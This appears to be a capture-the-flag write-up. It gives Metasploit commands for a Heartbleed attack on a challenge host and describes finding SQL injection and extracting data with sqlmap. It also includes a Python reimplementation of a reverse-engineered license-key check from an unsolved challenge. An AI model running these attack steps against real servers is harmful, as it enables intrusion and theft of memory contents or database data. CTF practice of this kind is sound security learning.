https://ec2-3-11-22-12.threat.studio/

Opening the website and looking at the headers it says CVE-2014-0160 which gave us hint that the server is vulnerable to heartbleed attack.

Just do the heartbleed attack to get the flag.

On metasploit

use auxiliary/scanner/ssl/openssl_heartbleed
set rport 443
set rhosts ec2-3-11-22-12.threat.studio
set verbose True
check
exploit




Who’s Sequel?

https://pr28v5drz5.execute-api.eu-west-2.amazonaws.com/default/n9h9me

As the title itself gave us the hint that it is vulnerable to SQLi injection.

On opening the website it looked something like

On entering ' in the username and password.it gave us SQL error. Then I just used Sqlmap to get the flag.




Remaining Two (Proof of game and aglet)

I tried a lot to solve these two challenges but I ran out of time. Even for the alglet, I converted the ASM code to Python just to know that whatever I am understanding is right or not. Below is the script that I wrote to know that If the entered key will be accepted or not for the aglet challenge.

import sys
def imul(v1, v2=0x66666667):
    v3 = v1 * v2
    v4 = hex(v3)
    if len(str(v4)[2:]) > 8:
        return int(str(v4)[2:-8], 16)
    else:
        return 0


local_158 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
             0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
local_38 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
local_1a8 = 1
__accept = "FACE20TW3NY1456789DGHJKLMPQRSUXZ"
#__s = "FACE-20TW-3NY1-4567"
#print("[4, 17, 130, 81, 156, 20, 149, 163, 89, 222, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]")
__s = "FACE-20TW-3NY1-4567"
#__s = "FACE-20TW-3NY1-HJKL"
#__s = "FACE-20TW-3NY1-4560"
#__s = "FACE-20TW-3NY1-456L"
#__s="FFFF-FFFA-FFFC-FF3M"
local_248 = 0
local_244 = 0
while local_244 < 0x13:
    if ((local_244 != 4) and (local_244 != 9)) and (local_244 != 0xe):
        local_240 = 0
        while __s[local_244] != __accept[local_240]:
            local_240 = local_240 + 1

        bVar1 = local_248
        local_38[local_248 >> 3] = (
                ((local_240 & 1) << (~bVar1 & 7)) | local_38[local_248 >> 3] & ~(1 << (~bVar1 & 7)))
        #print(local_38[local_248 >> 3])
        local_38[local_248 + 1 >> 3] = (
                ((local_240 >> 1 & 1) << (~(bVar1 + 1) & 7)) | local_38[local_248 + 1 >> 3] & ~(
            (1 << (~(bVar1 + 1) & 7))))
        local_38[local_248 + 2 >> 3] = (
                ((local_240 >> 2 & 1) << (~(bVar1 + 2) & 7)) | local_38[local_248 + 2 >> 3] & ~(
            (1 << (~(bVar1 + 2) & 7))))
        local_38[local_248 + 3 >> 3] = (
                ((local_240 >> 3 & 1) << (~(bVar1 + 3) & 7)) | local_38[local_248 + 3 >> 3] & ~(
            (1 << (~(bVar1 + 3) & 7))))
        local_38[local_248 + 4 >> 3] = (
                ((local_240 >> 4 & 1) << (~(bVar1 + 4) & 7)) | local_38[local_248 + 4 >> 3] & ~(
            (1 << (~(bVar1 + 4) & 7))))
        #print(local_38)
        local_248 = local_248 + 5

    local_244 = local_244 + 1
#print(local_38)

#local_38=[0, 17, 130, 81, 156, 20, 149, 163, 89, 222, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

local_1a8 = 1
v9 = local_1a8
local_1a8 = local_1a8 + 1
v10 = (((local_38[1] >> 4) & 1) << v9) | (local_38[0] >> 2) & 1
v11 = local_1a8
local_1a8 = local_1a8 + 1
v12 = (((local_38[2] >> 1) & 1) << v11) | v10
v13 = local_1a8
local_1a8 = local_1a8 + 1
v14 = (((local_38[3] >> 3) & 1) << v13) | v12
v15 = local_1a8
local_1a8 = local_1a8 + 1
local_1f8 = (((local_38[4] >> 5) & 1) << v15) | v14

# print(local_1f8)
#
# sys.exit()

local_234 = 0
local_230 = 0
local_23c = 0
local_238 = 0
while local_230 < 0x50:
    iVar3 = local_230 >> 3
    bVar9 = local_230
    temp1 = (~local_230) & 7
    temp11 = ((((imul(local_230) >> 1) - (local_230 >> 0x1f))) << 2)
    temp13 = (((imul(local_230) >> 1) - (local_230 >> 0x1f)))
    temp12 = ((local_38[local_230 >> 3] >> ((~local_230) & 7)) & 1)
    temp2 = (((local_1f8 >> (local_230 - ((temp11) + ((temp13))))) ^ temp12) & 1)
    temp3 = (temp2 << temp1) ^ (local_38[local_230 >> 3] & (~(1 << ((~local_230) & 7))))
    local_38[iVar3] = temp3
    #print(local_38[0])
    if (((local_230 < 0x10) or (0x37 < local_230)) or (local_230 % 9 != 0)):
        local_158[local_234] = local_230
        if (((local_230 != 5) and (local_230 != 0xb)) and
                ((local_230 != 0x16 and ((local_230 != 0x1c and (local_230 != 0x26)))))):
            local_234 = local_234 + 1

        local_23c = local_23c + (local_38[iVar3] >> (~bVar9 & 7) & 1)
    else:
        local_238 = local_38[iVar3] >> (~bVar9 & 7) & 1 | local_238 * 2
        #print(local_238)


    local_230 = local_230 + 1

#print(local_38)
#print(local_23c & 0x1f)
#print(local_238)
if ((local_23c & 0x1f) == local_238): #and local_238 != 0:
    print("Accepted!")


Score: